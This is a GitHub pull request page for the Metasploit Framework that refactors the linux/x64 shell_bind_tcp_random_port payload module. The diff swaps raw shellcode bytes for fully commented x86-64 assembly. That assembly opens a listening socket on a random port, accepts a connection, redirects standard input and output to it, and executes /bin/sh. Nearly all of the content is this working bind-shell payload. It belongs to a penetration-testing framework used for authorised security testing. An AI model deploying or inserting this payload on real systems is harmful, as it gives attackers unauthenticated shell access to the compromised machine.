Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactor (reduce) linux/x64/shell_bind_tcp_random_port #14621

Merged
merged 2 commits into from
Jan 21, 2021
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
131 changes: 93 additions & 38 deletions modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

module MetasploitModule

CachedSize = 57
CachedSize = 53

include Msf::Payload::Single
include Msf::Payload::Linux
Expand All @@ -19,43 +19,98 @@ def initialize(info = {})
},
'Author' => 'Geyslan G. Bem <geyslan[at]gmail.com>',
'License' => BSD_LICENSE,
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm'],
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm'],
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Payload' =>
{
'Payload' =>
"\x48\x31\xf6" + # xor %rsi,%rsi
"\x48\xf7\xe6" + # mul %rsi
"\xff\xc6" + # inc %esi
"\x6a\x02" + # pushq $0x2
"\x5f" + # pop %rdi
"\xb0\x29" + # mov $0x29,%al
"\x0f\x05" + # syscall
"\x52" + # push %rdx
"\x5e" + # pop %rsi
"\x50" + # push %rax
"\x5f" + # pop %rdi
"\xb0\x32" + # mov $0x32,%al
"\x0f\x05" + # syscall
"\xb0\x2b" + # mov $0x2b,%al
"\x0f\x05" + # syscall
"\x57" + # push %rdi
"\x5e" + # pop %rsi
"\x48\x97" + # xchg %rax,%rdi
"\xff\xce" + # dec %esi
"\xb0\x21" + # mov $0x21,%al
"\x0f\x05" + # syscall
"\x75\xf8" + # jne 40009f
"\x52" + # push %rdx
"\x48\xbf\x2f\x2f\x62" + # movabs $0x68732f6e69622f2f,%rdi
"\x69\x6e\x2f\x73\x68" +
"\x57" + # push %rdi
"\x54" + # push %rsp
"\x5f" + # pop %rdi
"\xb0\x3b" + # mov $0x3b,%al
"\x0f\x05" # syscall
}
))
'Arch' => ARCH_X64
))
end

def generate_stage
payload = %Q^
; Creating the socket file descriptor
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

; socket arguments (bits/socket.h, netinet/in.h)

; Avoiding garbage
; These push and pop unset the sign bit in rax used for cdq
push 41 ; syscall 41 - socket
pop rax

; Zeroing rdx, search about cdq instruction for understanding
cdq ; IPPROTO_IP = 0 (int) - rdx

push rdx
pop rsi
inc esi ; SOCK_STREAM = 1 (int)

push 2 ; AF_INET = 2 (int)
pop rdi

; syscall 41 (rax) - socket
syscall ; kernel interruption


; Preparing to listen the incoming connection (passive socket)
; int listen(int sockfd, int backlog);
; listen(sockfd, int);

; listen arguments
push rdx ; put zero into rsi
pop rsi

xchg eax, edi ; put the file descriptor returned by socket() into rdi

mov al, 50 ; syscall 50 - listen
syscall ; kernel interruption


; Accepting the incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; accept(sockfd, NULL, NULL)

; accept args ; here we need only do nothing, the rdi already contains the sockfd,
; likewise rsi and rdx contains 0

mov al, 43 ; syscall 43 - accept
syscall ; kernel interruption


; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
; int dup2(int oldfd, int newfd);
; dup2(clientfd, ...)

push rdi ; push the sockfd integer to use as the loop counter (rsi)
pop rsi

xchg edi, eax ; put the clientfd returned from accept into rdi

dup_loop:
dec esi ; decrement loop counter

mov al, 33 ; syscall 33 - dup2
syscall ; kernel interruption

jnz dup_loop


; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)

; execve string argument
; *envp[] rdx is already NULL
; *argv[] rsi is already NULL
push rdx ; put NULL terminating string
mov rdi, 0x68732f6e69622f2f ; "//bin/sh"
push rdi ; push /bin/sh string
push rsp ; push the stack pointer
pop rdi ; pop it (string address) into rdi

mov al, 59 ; execve syscall
syscall ; bingo
^
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
end
end